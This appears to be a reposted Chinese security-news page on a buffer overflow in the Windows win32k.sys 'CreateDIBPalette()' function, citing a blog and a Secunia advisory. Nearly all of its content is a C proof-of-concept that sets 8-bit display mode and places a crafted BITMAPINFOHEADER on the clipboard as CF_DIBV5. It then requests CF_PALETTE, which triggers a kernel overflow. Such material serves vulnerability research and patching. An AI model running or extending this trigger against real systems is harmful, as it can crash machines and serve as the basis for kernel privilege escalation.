【漏洞】Win32k.sys "CreateDIBPalette()" 溢出

admin 2021年4月3日19:04:18评论45 views字数 851阅读2分50秒阅读模式

Windows Win32k.sys 驱动 "CreateDIBPalette()" 缓冲区溢出

Windows win32k.sys Driver "CreateDIBPalette()" Buffer Overflow

Sources:
http://www.ragestorm.net/blogs/?p=255 
http://secunia.com/advisories/40870/ 

DEVMODE dm = {0}; 
dm.dmSize  = sizeof(DEVMODE); 
dm.dmBitsPerPel = 8; 
dm.dmPelsWidth = 800; 
dm.dmPelsHeight = 600; 
dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL; 
ChangeDisplaySettings(&dm, 0); 
BITMAPINFOHEADER bmih = {0}; 
bmih.biClrUsed = 0×200; 
HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0×1000); 
memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih)); 
GlobalUnlock(h); 
OpenClipboard(NULL); 
SetClipboardData(CF_DIBV5, (HANDLE)h); 
CloseClipboard(); 
OpenClipboard(NULL); 
GetClipboardData(CF_PALETTE);

文章来源于lcx.cc:【漏洞】Win32k.sys "CreateDIBPalette()" 溢出

相关推荐: 只要有钱,创业就真的很容易?

在想象当中,很多人觉得创业就是几个人凑在一起,出资源的出资源,出力的出力,拿钱的拿钱,一起为了一个共同目标而努力的这么一件事情;说到这里,有的人可能要笑了,你说的像土匪一样,根本都不是团队。老实说,作为创业资历颇深的呆子来说,自然是知道团队和团伙土匪的区别,我…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日19:04:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞】Win32k.sys "CreateDIBPalette()" 溢出http://cn-sec.com/archives/319785.html

发表评论

匿名网友 填写信息